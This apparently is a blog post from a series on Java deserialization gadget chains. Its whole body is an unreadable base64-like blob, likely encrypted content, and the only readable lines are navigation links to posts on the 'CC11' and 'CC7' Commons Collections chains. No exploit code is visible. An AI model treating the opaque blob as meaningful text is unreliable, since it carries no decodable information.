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

上一篇:
CC11链
下一篇:
CC7链